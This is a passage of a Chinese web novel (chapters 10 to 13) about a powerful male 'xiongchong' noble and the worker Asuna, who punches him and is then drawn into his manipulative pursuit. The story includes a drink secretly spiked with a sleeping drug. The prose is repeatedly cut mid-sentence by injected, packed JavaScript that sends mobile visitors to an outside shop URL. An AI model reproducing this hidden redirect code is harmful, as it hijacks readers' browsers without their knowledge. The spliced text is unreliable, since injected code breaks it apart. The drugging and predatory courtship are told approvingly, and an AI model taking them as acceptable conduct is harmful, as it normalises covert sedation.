阿苏纳在沙发上落座,但助理并没有离开。他站在那微笑地看着阿苏纳,指了指被阿苏纳放在一旁桌上的姜糖水:“您是否需要我为您再加点糖?姜糖水还是趁热喝比较有效果。” 阿苏纳看向助理,只得到了助理温和催促的眼神,似乎他现在的任务就是盯着阿苏纳喝完这杯姜糖水。 阿苏纳点了点头,端起水杯一饮而尽。 “好的,等阁下有空,我会来通知您。”助理微笑,端走了空杯。 不知是不是刚喝下的姜糖水发挥了作用,还是员工休息室的温度调得较高,助理走了没一会儿,阿苏纳就感觉体内热气蒸腾,浑身暖洋洋的。 他这些年晚上的睡眠质量并不好,之前白天的上班的时候全靠他硬撑着。现在周围没了时刻盯着他的上级和同事,又坐在格外舒适的沙发上,困意就跟着温暖的感觉直往上涌。 不知不觉中,他就毫无察觉地闭上了眼睛。 休息室的门被轻轻推开了,保养良好的门没有发出一点声响。赫伯特面无表情地从门外走了进来,停在了阿苏纳身前。 赫伯特单手撑在沙发靠背上,慢慢俯下身,一点点向阿苏纳靠近。 突然,阿苏纳睁开眼,与此同时,拳头已经挥到了赫伯特的脸侧。 “砰”!阿苏纳目露惊愕,他看清了眼前的虫,但下意识挥出去的拳头收势不及,还是砸中了赫伯特。 比拳头先到的,是丝丝缕缕让赫伯特感到熟悉的香气。 但下一秒,他的脸就被打得偏向一侧,瞬间脸颊剧痛。 “嘶!”赫伯特单手捂住脸颊上被打的地方,拧紧了眉头,痛得差点喊出声来。 后边目睹一切的助理目露惊恐,差点发出鸡叫。他连忙上前扶住赫伯特,惊慌地问:“阁下,您还好吗?我现在就去叫布兰特医生。不,您要不去趟医院检查一下?以免有什么后遗症。” 赫伯特斜了他一眼,助理立刻闭上了嘴。 阿苏纳心凉了半截,他深知自己闯下了大祸。看着赫伯特忍痛的样子,他心里愧疚什么也说不出口。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064700|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看到赫伯特身边已经有了助理关切照顾,他便跪到了地上,默默等待雄虫阁下或是等会儿赶到的雄保会对他的处罚。 赫伯特脸痛到说不出话,只能先坐到沙发上。尽管阿苏纳反应过来后已经收了力道,但雌虫下意识的一拳还是让从未挨过打的雄虫阁下承受不住。 助理已经出去拿冰袋,赫伯特捂着脸,眉头紧皱,目光移向了跪在旁边的阿苏纳。 阿苏纳安静地跪在那,低垂着头,长长的睫毛遮挡了他的神色。从刚刚开始,他既没有求饶以减轻自己的处罚,也没有逃跑,就像认命般死寂地跪着。 殴打雄虫是大罪,尤其赫伯特还是A级雄虫,更是重罪中的重罪。 直到此时,当赫伯特看向了跪着的他,阿苏纳才深深将头埋在地上,说:“阁下,抱歉,我愿意接受您一切惩罚。” 他的声音一如之前那般清冽,但细听却能察觉其中的微微颤动。 脸颊上的伤阵阵犯疼,赫伯特缓了一会儿,终于有精力说话而不是一张嘴就会痛呼:“你……”他看着地上埋头跪着的阿苏纳,一时陷入沉默。 说真的,他长这么大,从来没有虫敢打他,他也从来没有被别的虫打过。在刚感受到脸部剧痛的那几秒,他内心愤怒,下意识想让伤到他的虫加倍体会他的痛苦。 但目光移到阿苏纳的脸上,他又下不去手,只能憋气捂住自己被打的脸先缓缓忍过最初的疼痛。 直到现在,脸颊上的疼痛缓和,空气中也因阿苏纳剧烈的情绪波动弥漫着比之前更为浓郁的香气,他的怒气才跟着缓和了下来。但对着突然打了他一拳的虫,他暂时还不知道说什么。 助理着急忙慌终于把简易冰袋拿了进来。他刚进来,就注意到里边过于安静的氛围。他的目光下意识先落到了赫伯特的脸上,察言观色是他的本能,也是他吃饭的本领,他立刻就注意到了赫伯特看着阿苏纳的眼神。 阿苏纳还在地上跪着,但助理强行将手中的冰袋塞给了他:“我还要去联系医生,麻烦您先帮阁下冰敷。” 说完,助理也不管阿苏纳同不同意,就又跑了出去。 阿苏纳握紧手中的冰袋,看向赫伯特。他抿了抿嘴,膝行到赫伯特身边,轻声说:“阁下,还请您容许我为您冰敷伤处,以免伤势恶化。” 赫伯特瞥了他一眼,移开了捂住脸颊的手,只说了一句:“上来。” 阿苏纳愣了一下,看到赫伯特不耐的目光才反应过来,这句“上来”是让他也坐到沙发上去。 阿苏纳的心跳短暂停了一瞬。 他默默坐到了赫伯特旁边,靠近了赫伯特的脸,目光凝视在那块泛红的伤处,动作极力轻柔地将手中的冰袋慢慢贴了上去。 他和赫伯特离得如此之近,比之前赫伯特俯身靠近熟睡的他时靠得更近。 丝丝缕缕的香气浮动,赫伯特已经可以完全确定,那种特殊到只有他能闻到的香气的源头,就是阿苏纳本身。不是从别处沾染的,也不是任何香水沐浴露的气味。 11. 第 11 章 “噔噔噔”休息室的门本来就半敞开,被象征性地敲了几下,外面的虫就推开门走了进来。 是完全陌生的几个虫,长得高大魁梧,目光如炬。 阿苏纳看到他们的第一眼,就敏锐地察觉到他们并不是在索斯福亚集团上班的职工,也不像是医生。 这个时间点还会出现在这里的虫……阿苏纳举着冰袋的手瞬间僵住,心底寒气直冒。 进来的几个虫视线一扫,就看到了坐在沙发上的雄虫阁下。看到赫伯特精神不错,几个虫明显松了口气。可当他们的目光移到赫伯特脸上的红肿处时,神色又不自觉紧绷了起来。 为首的虫先是鞠躬行礼,随后出示了证件:“阁下打扰了,我们是雄保会的执法员,接到举报说您被雌虫袭击了,请问是怎么回事?” 助理的身影在几个执法员身后显现,阿苏纳立刻意识到了是怎么回事。他无法怪罪助理,因为这是助理的本职,也是任何雌虫都应该做到的——在雄虫阁下受到伤害时,及时上报雄保会。 但他也无法保持绝对的冷静。雄保会威名赫赫,没有雌虫在面对这样绝对冷酷、绝对严苛的机构时不感到胆寒。 本来刚刚赫伯特让他坐到沙发上时,他曾报以侥幸心。他能感受到雄虫阁下对他态度已有软化,便不切实际地幻想在取得雄虫阁下的原谅后,能逃脱雄保会那些让所有雌虫闻风丧胆的惩戒。 而事到如今,他再无法自欺欺虫,心存幻想。也是,他必须为自己的所作所为付出代价。 阿苏纳低垂下眼,缓缓放下冰袋,起身准备跪下认罪。他做不到心中无惧,但至少能坦然接受被雄保会押走定罪的命运,不至于在挣扎抗捕中显露更多难堪。 但他刚起身还未完全站起,手腕就被牢牢握住,强硬地拽了回去。 那只手和他冰凉的手腕相比,格外热烈,没有用太多力,却坚定得让他潜意识觉得无法挣脱。 他目光怔怔,顺着那只有力而温暖的手,望向并没有在看他的赫伯特。 矜贵的雄虫阁下,即使脸颊上多了一块泛红的瘀伤,端坐在虫前也依旧无损气势。 “没有虫袭击我,你们可以走了。”赫伯特侧目斜向执法员,目光平静,如果不是他脸上就挂着明晃晃的瘀伤,恐怕执法员真的会以为这是次乌龙举报。 为首的执法员没法装作看不见赫伯特脸上的伤,迟疑询问:“阁下,这……” 他用锋利的目光扫过旁边的阿苏纳,显然怀疑上了这个可疑雌虫,“您是否受到了威胁才会这样说?” 不得不说,他猜到了造成赫伯特脸部瘀伤的罪魁祸首,然而却没猜中全部真相,更没料到当事雄虫的态度。 赫伯特顿住,松开了阿苏纳的手腕,在阿苏纳忐忑的目光中,抬起手向外挥了挥并拢的食指和中指,意思简短而又明确—— “滚。” 不带怒气,却堪比核弹。 “是是是,万分抱歉阁下,打扰您了,我们这就走。”雄虫阁下的态度很明显,为首的执法员恨不得把自己龟缩起来,立刻识时务地带着手下躬身告辞,比起最初进来时的威风凛凛,离开时要多怂有多怂。 站在后边的助理又当起了合格引路虫:“各位,请这边离开。” 为首的执法员瞪了助理一眼,怎么回事,作为助理没弄清自己老板的想法就乱举办,害得他们也跟着倒霉。几个执法员对作为举报虫的助理心中不满,但却也没敢在雄虫阁下眼前再说什么。 一群虫以最快速度离开了房间,像马桶里被冲走的屎,嗖的一下,就都消失了。 这回助理关上了门。 门合上时发出一声轻响,随后休息室里又安静了下来。 阿苏纳手中仍握着冰袋,化开的水顺着他的掌心和指缝滴落,他仍一无所觉。 赫伯特瞥了他一眼,声音淡淡地开口:“这是阿法尼特绒手工编织的地毯,你确定要水洗吗?” 阿苏纳愣了一下,顺着赫伯特的目光才反应过来他说的是什么意思。 “啊,抱歉。”阿苏纳连忙补救地扯了茶几上的纸巾去擦,看起来手忙脚乱的。 赫伯特单手拉住了他:“没关系,一条地毯就算坏了也没什么。” 阿苏纳顿住,手指微不可察地颤了一下,抬头看向赫伯特。 赫伯特微微地弯了弯嘴角,很快又恢复原样。如果不是阿苏纳观察细致,几乎都要错过了这个看起来有些温柔却格外短暂的笑容。 他轻轻握住阿苏纳的手腕,悠悠开口:“一直拿着冰袋,你的手都不冷吗?” 说着,他将阿苏纳手中的冰袋随手丢到了桌子上,又抽出纸巾擦干了阿苏纳手上残留的冰水,动作有条不紊,耐心细致。 阿苏纳不知道自己是怎么了,居然会一动不动,任由雄虫阁下帮自己擦完手。 “有点凉。”赫伯特包住阿苏纳的手轻握了一下,随后又立刻松开,没有任何暧昧的停留划蹭。 阿苏纳的呼吸不自觉放缓,手上残留的温度,就像赫伯特刚刚那个短暂的笑容一样,迅速消失。 阿苏纳面上看着镇静,心里却比刚刚面临雄保会时更不知所措。 他的心有些说不清道不明的紧张,大脑却像内存过载一般反应迟钝。 雄虫阁下收回了手靠在沙发靠背上,闭目养神,没有再看他,似乎也像是原谅了他,但他却比之前更无措。 短暂平复了呼吸后,他轻声说:“阁下,谢谢您愿意原谅我的过失。” 他的睫毛震颤得厉害,手指不自觉攥紧,声音勉强维持住了平稳,细听却仍有不自然的起伏。 赫伯特没有睁开眼看他,却短促地轻笑了一声:“谁说我原谅你了?阿苏纳,从我出生起,无论是雌虫还是雄虫,都未有虫敢打我,让我现在脸上还生疼。” 阿苏纳心中的愧疚感更重,语气郑重而又诚恳地说:“阁下,我愿意接受您的一切惩罚,请您告诉我该如何做。” “这样啊。”赫伯特悠悠睁开眼斜看向他,但却没有立刻接着往下说。 一时又陷入了让阿苏纳忐忑的安静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064701|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿苏纳的心不自觉在赫伯特平静的目光下开始加速跳动。周围的环境太过安静,他甚至感觉自己的心脏像是就在他的耳边跳动,扑通扑通如鼓点般密集,让他更加攥紧了手心。 他说不清自己的心是因为什么而砰砰直跳,脑中也顾不上去细想,只是不由得摒住了呼吸,煎熬地等待赫伯特对他的最终宣判。 “嗯——”赫伯特拖长了语调,让阿苏纳的心跳得更快了。 “那就,”赫伯特看着他,“照顾我到伤好为止。” “嗯?”阿苏纳脸上流露出错愕,眼睛下意识睁得更大了,在浅光下,深色的眼珠波光粼粼,如同月色下泛起薄雾的湖面。 赫伯特继续说:“每天到这里帮我上药,给我带饭,这对你来说应该不难吧?” 说完,赫伯特微微挑眉,等待阿苏纳的回答。 阿苏纳下意识问:“只是这样吗?” 赫伯特一瞬间目光幽深,却在阿苏纳再次看去时恢复了正常。 “就是这样。”赫伯特嘴上这么说,心里却已经开始计划要如何在不知不觉中让阿苏纳掉入他精心编制的网中,逃脱不出。 他不喜欢简单粗暴地仗着雄虫的身份强迫雌虫,那样的手段太低端,只有那些大脑发育不良的劣质雄虫才偏向这种方式。 他更享受看着对方一点一点变得难以自持,一点一点在悄无声息中被他罗入网中。 这是他的,狩猎过程。 …… 等到医生来看过赫伯特脸上的伤,外敷的药膏和注意事项就被交到了阿苏纳手上。 其实阿苏纳处理外伤的经验说不定比医生还丰富。他在军队打拼那么多年,少不了受大大小小的伤。只是被打了一拳的瘀伤,以前在他这甚至算不上受伤。 但现在受伤的是雄虫阁下,他还是认认真真地将医嘱看了好几遍,熟记在心,以免有所错漏。 助理将阿苏纳送了出去,顺便询问他的地址:“之后每天早上会有虫将食材送到你的住处。” 阿苏纳想都没想就拒绝了:“没关系,我可以自己去买,不用这么麻烦。” “是这样的,”助理打断他的话,解释:“阁下每天吃的东西都是专门在各地选土种植养殖,并在半夜采摘宰杀,然后空运过来,有特定的选材标准。所以还是由我们来提供食材,您只需要烹饪制作就好。” 这是阿苏纳完全没想到的,不过从助理会随身为赫伯特携带杯子和水就可以猜到,赫伯特的饮食可能更不简单。 阿苏纳再次意识到他和赫伯特的生活差距有多大,不仅仅是雌虫和雄虫的身份之别,更是物质上的巨大鸿沟。 阿苏纳点点头:“好,那就麻烦你们了。” 他不由庆幸之前付过租金的房子还有一段时间才到期,不然他很难解释每天一大批食材的进进出出。 送走阿苏纳,助理回到顶层办公室,向赫伯特详细汇报。 赫伯特靠坐在真皮椅上,侧眼瞥向他,目光冷冷:“阿瑞斯,你是怎么办事的?” 12. 第 12 章 助理呼吸一滞,立刻跪了下去:“抱歉阁下,我在杯中加了足量的安睡剂,按药物说明,阿苏纳至少会深度昏睡到下午。我是亲眼看着他喝完那杯姜糖水的,实在不清楚他为什么会在这么短的时间内就醒过来。” 他仔细回忆了全过程。在阿苏纳过来后,他特意端了带冰的水并故意将水打翻在阿苏纳身上,顺利让阿苏纳去休息室洗澡换衣服。随后又在阿苏纳洗完澡出来时,端上加了安睡剂的姜糖水。 姜糖水的辛辣口味绝对可以将安睡剂的异味遮得干干净净,按理说阿苏纳不可能会尝出来,而且他是亲眼看着那一杯姜糖水都被阿苏纳喝完的,不可能有差错。 可偏偏,阁下凑近的时候,阿苏纳就醒了!还看也不看就打了阁下一拳。 助理一想到这件事他就格外崩溃。 除此之外,他又回想了其他事,应该办得都还算合阁下的心意。比如看眼色让阿苏纳给阁下冰敷伤处拉近他俩的距离,又比如在阁下的示意下叫来雄保会的虫创造让阁下展现宽容仁慈的机会,还有之后给他俩留下独处的空间…… 助理深呼吸一口气,内心不断祈祷雄虫阁下能饶了他这次的失误,他是真不知道阿苏纳为什么会提前清醒啊!就连安睡剂都是正规药店采购的,他还因为对这种下药业务不熟练,特意去非法网站翻看了许久攻略帖。 赫伯特皱眉,目光盯在助理身上,似乎在判断他说的是真话还是只是在推卸责任。 阿瑞斯跟了他多年,他也算了解这个助理,过往办事大多稳妥,就算类似的事以前没干过,也不至于出这样大的纰漏…… 脸上的瘀伤仍有胀痛感,赫伯特愈发烦躁,他只是想确认那股特殊香气的来源以便判断这会不会是针对他的阴谋,结果虽然确认了来源却被打了一拳,因而他看助理的目光也愈发不善。 助理在赫伯特的目光下,垂在两侧的手不由攥住了袖口,连大气都不敢喘一下。虽然外界对赫伯特的评价大多是端方和善,但他作为赫伯特的心腹,最是清楚这位阁下的真实性格。 这次赫伯特受伤,虽然表面上是被阿苏纳打到的,但细究起来,也和他办事不利有关。从没有吃过这样大亏的赫伯特阁下,现下在想什么谁也猜不透。即使之前雄虫阁下没有处置阿苏纳,他也无法报以侥幸会以为自己一定就能有同样的幸运。 说到底,他的一切都掌握在赫伯特阁下的手中。他没有任何特殊,想要凑到阁下身边鞍前马后的不止他一个,而他只不过是阁下使唤习惯了的、还比较有用的狗。如果从阁下身边被赶走,他连当狗的资格都没有。外边那些虫对他以往的一切尊敬都会烟消云散,甚至很大可能会通过欺辱他来讨好被他得罪的赫伯特阁下。 短短数秒,助理在赫伯特的沉默中,内心煎熬,几近崩溃。 好在,赫伯特终于开口了:“看在你其他方面办得不错的份上,这次的事就算了。” 赫伯特的声音听不出喜怒,却让助理如蒙大赦,浑身血液瞬间如冰融雪消般恢复畅快流动。 恐慌到极致的情绪散退后,助理后知后觉他的腿因为刚刚肌肉过于紧绷而在发麻,稍一动弹就似针扎般。但他不敢发声,也不敢再多停留,以免惹得心气不顺的雄虫阁下看他恼火,连忙就地上爬了起来,麻溜退出了赫伯特的办公室。 一出来,他就呲牙咧嘴,拖着跪麻的腿犹如伤残虫士,任谁看了都得小跑两步提前帮他推门。 助理小步慢挪往自己办公室走,边走,他边在想阿苏纳,边想,他边摇头。 被心机深沉的赫伯特阁下盯上,真不知是件好事还是坏事。 助理是如何评价这件事的,阿苏纳一无所知,他压根就不知道赫伯特对他产生了兴趣。 赫伯特对他的“惩戒”让他松了一口气,但也在他忙碌的生活中又加了一项任务。好在之后助理补充说,他只需要给雄虫阁下送午饭,而晚饭则需要他到雄虫阁下的公寓去现做。 阿苏纳默默将起床的时间调早了一个半小时。半个小时从现在住的地方跑到他之前租住的房子,一个小时用来备菜。他不可能给雄虫阁下吃隔夜饭,所以就必须每天早上备好菜,炖上需要久煮的肉,这样他中午的休息时间才够用。 事实上他也可以多睡二十分钟,但他的生活本就捉襟见肘,多出来的交通费也有可能让他入不敷出,那样他宁可少睡一会儿。 送饭的头天晚上,他和送食材的虫约好收货时间后,就打开了做饭教程。 视频里衣着精致的雌虫手起刀落,动作麻利地将块完整的肉大卸八块,同时鼓励屏幕前的粉丝:“这道菜在上年度被评选为年度雄虫阁下最爱菜品前十,学会这道菜,即使是最挑食的阁下也绝对会被惊艳到!” …… 赫伯特尝了一口阿苏纳做的食物后久久无言,默默抽了一张纸巾擦了擦嘴,顺便借着纸巾的遮掩将刚刚放入嘴中咀嚼的食物吐出来。 他将饭盒推向对面的阿苏纳,温声说:“你应该还没有来得及吃午饭吧?不好意思,我忘记告知家中今天你会来送饭,所以,这份饭还是先由你代替我吃完吧。” 这自然纯属是借口,安排这些琐事哪需要他亲自来。 赫伯特的目光划向助理,站在不远处的助理立刻接话:“是的,厨房那边刚送到,阁下您现在要用饭吗?我去拿进来?” 看到赫伯特微微颔首,助理躬身行了一礼就出去安排午饭。他就知道,养尊处优的阁下怎么可能吃得惯随便什么虫做的饭?现在专门为阁下服务的厨师之前可是精挑细选通过层层试菜考核才上岗的,幸好他早就备好了预选方案。 赫伯特转向阿苏纳,态度诚恳地说:“抱歉,你的心意我收到了,但为了不造成不必要的浪费,看来今天我没办法细细品尝你的做菜手艺了。” 说着,他将他刚刚用过的餐具递给了阿苏纳。 阿苏纳双手接过,丝毫不介意自己精心烹制的食物是否被目标对象吃完,反而是对雄虫阁下会和他道歉产生了一丝惊讶:“阁下,您无需也不必对我道歉。” 赫伯特弯了弯嘴角,抬手示意他先吃饭。 阿苏纳也不再客气,拿着赫伯特用过的餐具毫无芥蒂地直接开始吃了起来。 他看起来瘦弱,吃起饭来倒是挺香。动作不算粗鲁,但大口吞咽加上快速进食多少有点狼吞虎咽的样子,看得赫伯特轻笑了起来。 “阁下?”阿苏纳顿住吃饭的动作,疑惑地抬头看向赫伯特。 “没什么,你继续吃。”赫伯特收了脸上的笑,但眼中仍有笑意。 阿苏纳做的饭卖相还不错,但味道实在糟糕。赫伯特吃到第一口的时候,多疑的他都有些怀疑阿苏纳已经知道了昨天的姜糖水有问题,所以故意做难吃的饭报复他。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064702|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到阿苏纳自己吃得这么香,他就知道自己想多了,反而可以安心看阿苏纳吃饭了。 他这的餐具当然不止有阿苏纳带来的那一套,他是故意将他自己刚用过的餐具递给阿苏纳。虽然他只用那件餐具浅尝了一口阿苏纳做的饭,但餐具上还是难免沾了该有的痕迹。 现在那件餐具被阿苏纳拿在手中,随着食物在阿苏纳口中进进出出。 赫伯特看似随意地靠坐在皮椅上,但唯有他自己能感受到心底隐秘处升起的那种偷偷摸摸的酥麻快感。 助理没出去多久就带着几个虫和小推车进来了。相比阿苏纳带来的只有一个饭盒的简陋便当,这简直堪称是奢华餐厅上菜。 一份丰盛的便当或许对于雌虫是不错的午餐,但显然错估了赫伯特这样的顶尖雄虫阁下的生活品质。阿苏纳准备的食物,与其说是午饭,不如说是忆苦思甜餐。 数盘连摆盘都极其讲究的菜被端上了桌,侍从全程没有发出一点声音,上完菜就立刻又退出去了。 阿苏纳虽然吃得快,但截至赫伯特的午餐端上桌,他饭盒里还剩了一些没吃完,没办法立刻告辞。 对比过于惨烈,他难免有些尴尬,耳垂都在发红发烫,被眼尖的赫伯特立刻就察觉了。 赫伯特又忍不住笑出了声,动手给阿苏纳夹了些菜,邀请他:“一起陪我吃点吧,我平时这些菜也是吃不完的,多余的都浪费了。” “谢谢阁下。”阿苏纳略局促。 他一紧张,睫毛就会轻轻颤动,攥紧手指或是手中正握着的东西,赫伯特只觉得这样的阿苏纳实在是我见犹怜,目光落在他削瘦的肩膀上,又忍不住多夹了些肉到他的饭盒里。 阿苏纳都乖乖吃掉了。 饭后,侍从换上了小甜点和一壶清茶。 阿苏纳显然不太习惯小口喝茶,一口气干了大半杯后才反应过来以前学校里教的在雄虫阁下面前的喝茶礼仪,端着剩下的小半杯干坐着有些无措。 赫伯特端着茶杯,并不着急喝。 他欣赏了一会儿阿苏纳的窘迫,似是闲聊般开口:“谢谢你今天为我做的午饭,对了,我听说雌虫上大学的时候都会有厨艺必修课,是吗?” 阿苏纳点头,整个耳朵连同脖子根都漫上了红晕:“是的,阁下,我们大一的时候有统一安排为期一学年的厨艺课程,不过我的课程成绩不算好,只是勉强及格。” 这点赫伯特已经感觉出来了,不过这对他并没有什么影响,他又不缺厨子。 赫伯特微笑点头:“我还以为所有雌虫都对厨艺课感兴趣,以前我上大学的时候,听说有雌虫即使翘掉专业课,也要一堂不拉上完大师厨艺课。想必你应该也很厌恶做饭,所以才会只是及格。看来我这次对你的惩罚确实让你很为难,对此我很抱歉。” “不,不是的,阁下,”阿苏纳说,“请您千万不要这么想,我并没有讨厌为您准备饭菜,我只是……” 阿苏纳抿了抿嘴唇,解释:“我以前上学的时候,生活费时常不够用,即使厨艺课的成品可以让我们课后带走吃掉,但我依然负担不起多余的食材费用,除了必要的课上实践,无法再进行其他练习。而我又不是多么有厨艺天分,在课上用尽全力地学习也最多只能达到及格。” “其实,今天为您准备的饭菜,已经是我昨天练习了一晚上的成果。我很抱歉,阁下。” 13. 第 13 章 你当然应该感到抱歉,赫伯特心想。 虽然那盒饭被阿苏纳自己吃了个精光,没有一点浪费,但赫伯特仍对那种恶心的味道记忆犹新,从他有记忆以来,就没有虫敢给他吃这么难吃的东西。 对于阿苏纳袒露的过往,作为从出生起就高高在上的雄虫阁下,赫伯特知道该如何假装成一个富有怜悯心和同理心的虫,但从内心深处,他很难真正去共情那些生活在底层挣扎于生活的虫。 他永远不会过那样的生活,也永远不可能沦落到过那样的生活。他的阶层注定了他这一辈子都会养尊处优,想要什么往往就能轻易得到什么。 他每月单在饮用水上的花费粗略估计可能就有十几万,他很难代入想象需要为一份便宜食材而精密计算的生活会是多么窘迫。他能清楚知道这样的生活很贫苦,但他无法感知或是真正意识到这份贫苦究竟作用于个虫身上有多么苦。 练习了一晚上什么的,赫伯特也无法被这种辛苦打动。在他的认知中,能得到给他送饭的机会,即使苦练一个月也算不得什么,没看他家里的厨子都是苦练了几十年才得到这么个机会么。 不过话又说回来,阿苏纳和平时那些为他服务或是想要讨好他的虫不同。其他虫的用心不值一提,而阿苏纳,总归是该得到些他的特别对待。 赫伯特露出善解虫意的笑容,温声说:“不要紧,你最大的价值就是你自己,并不在厨艺上,完全没有必要强求自己。” 这句话倒是真心的。他已经拥有了普通虫难以企及的财富和权势,他不缺锦上添花的那点钱或权,更不可能缺给他做饭的虫。 他丝毫不在意阿苏纳的厨艺如何,他要的,只是阿苏纳。 阿苏纳有一瞬间的动容,更有心中的一点说不出道不明的震撼。 这个社会以方方面面评判雌虫,用各种繁复的标准为雌虫打分,必须能挣钱,能伺候雄虫,会各种技艺,有自己的才艺,才能勉强算是一个合格的雌虫,而厨艺只是其中的一项要求。 可能会不会厨艺对雄虫来说并不重要,但渴望雄虫阁下的雌虫如过江之鲫,筛选雌虫的标准也就越发严苛。厨艺本身可以无所谓,但作为评判的标准却不可忽视。即使是对那些大家族出身的雌虫也要求有好的厨艺,只为在雄主想要体会家庭温馨时不至于扫兴。 所有虫都在苛求雌虫没有任何短板,无论这辈子能否找到雄主,无论这辈子是否有雄主,无论这辈子到底要不要找雄主,都会被社会以各种要求规训审视。 但这却是第一次,阿苏纳从一位雄虫阁下的口中听到,厨艺不是雌虫的必修技,更不是决定他价值的标准。 他的心跳加快,面上却保持了一向对外示虫的镇静。 他听见他平静地回复赫伯特:“好的,阁下。” 赫伯特颔首,随后以不容拒绝的态度说:“以后你每天早上先到我这再去上班,中午也是,晚上同样。” 话题跳转的太快,阿苏纳一时没跟上。 赫伯特上下打量了他几眼,心想确实瘦得有些过分了,嘴上一时不由说了实话:“过来和我一起吃饭。那么难吃的饭都能吃得下,我觉得你还是应该多吃点正常食物,好好恢复味觉。” 阿苏纳立刻意识到,自己做的饭对于赫伯特来说应该是真的很难以下咽,之前赫伯特温和的做法不过是在照顾他的面子和自尊心。 阿苏纳的耳朵又不受控得变红了,这次不仅连带脖子一起,甚至红晕顺着脖颈蔓延到了衣领下。赫伯特即使看不到,也能想象出那片白皙的胸膛上泛红的样子。 赫伯特端着茶杯喝了一口已经有些温吞的茶水,茶水的微微苦涩勉强让他克制住心底龌龊的念头,但极品茶的回甘却让他再次幻想阿苏纳的身体是否也和那股气味一样香甜。 午休的时间总是短暂的,阿苏纳为了耽误下午的工作,到点就匆匆忙忙地离开了,倒是留下了一室只有赫伯特才能闻到的香气,隐隐绰绰浮动在赫伯特的办公室。 可能是有这股香气陪伴,哪怕这股气味随着时间推移越来越淡,也让下午的赫伯特看起来心情很不错,进来向他汇报工作的虫一个个出去时都在感谢上天。 晚上阿苏纳被迫加班,他不得不向赫伯特的助理告知他得晚一点才能过去给雄虫阁下上药。 助理如实转述,悄悄看向赫伯特。虽然政府倡导公务虫应把本职工作放在一切前边,但阿苏纳这种把工作的优先级放在雄虫阁下前面的行为,在助理看来着实有些迂腐和作死。 但赫伯特却脸色平静,只是说了一句“知道了”。 助理内心惊奇,随之将阿苏纳的重要性又往上提了几档。 …… 赫伯特的住处位于市中心距离集团总部不远的高级公寓。寸土寸金的地段建了高耸如云的奢华公寓,但公寓设计之初就仅规划了极少数住户,为每一住户都留足了极其富裕的居住和活动空间。虽然是公寓,却很好保证了住户的隐私,不仅外虫进来难,也几乎不可能遇到所谓的邻居。 阿苏纳下班后就不停歇地按照助理给的地址赶到了这里,在经过层层身份核实后,才进入了公寓内部。 这里每一住户都提供了专属入口通道和电梯,阿苏纳头一次到如此安静私密的公寓,完全颠覆了他对公寓的认知。 进门密码早已被助理发送给了他,按照助理的说法,这里除了雄虫阁下,还有服务阁下的一整个团队都居住在这里,但阿苏纳进门后却发现里面极其安静,完全看不到虫影。 他给助理发消息询问,助理立刻回复:【哦,工作虫在没有阁下需要的情况下是不露面的,您可以直接进去,往里找找。阁下的伤到上药时间了,请您不要耽搁太久。】 阿苏纳没办法,试探地喊了几声,依然没有虫回应,唯一的声响只有细听才能听到,他只好顺着声响的源头走去。 稀里哗啦,似是水流的声音。 房子很大,每块区域面积都不小,阿苏纳初次来,甚至觉得有点晕头转向。但水流声给了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064703|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指示,他顺着声响走去,从门廊,到开阔的客厅,又走到一处半敞着门的小客厅。 声响越发清晰了,但走到小客厅外水声就突然断了。 阿苏纳想了想,还是走了进去。 客厅而已,应该不会闯入什么不该进的地方…… 阿苏纳一抬眼,就看见了只在腰下裹了浴巾,正边拿着毛巾擦头发边出来的……赫伯特。 阿苏纳的脸瞬间爆红,语气结结巴巴:“抱、抱歉,阁下,我这就出去。” 他猛地转过身,手指止不住地紧攥住裤腿,拧着自己的大腿,试图让自己保持冷静。 “等等。”赫伯特叫住了他。 阿苏纳听见身后几声脚步声,随后是坐在沙发上的声音。 赫伯特随意地靠在沙发上,视线却紧盯着阿苏纳的后背,目光幽深:“帮我擦头发,家里的侍从不知道干什么去了,叫半天都不过来。” 这自然是赫伯特随意找的借口,没有哪个胆大包天的侍从敢忽视雄虫阁下的召唤。 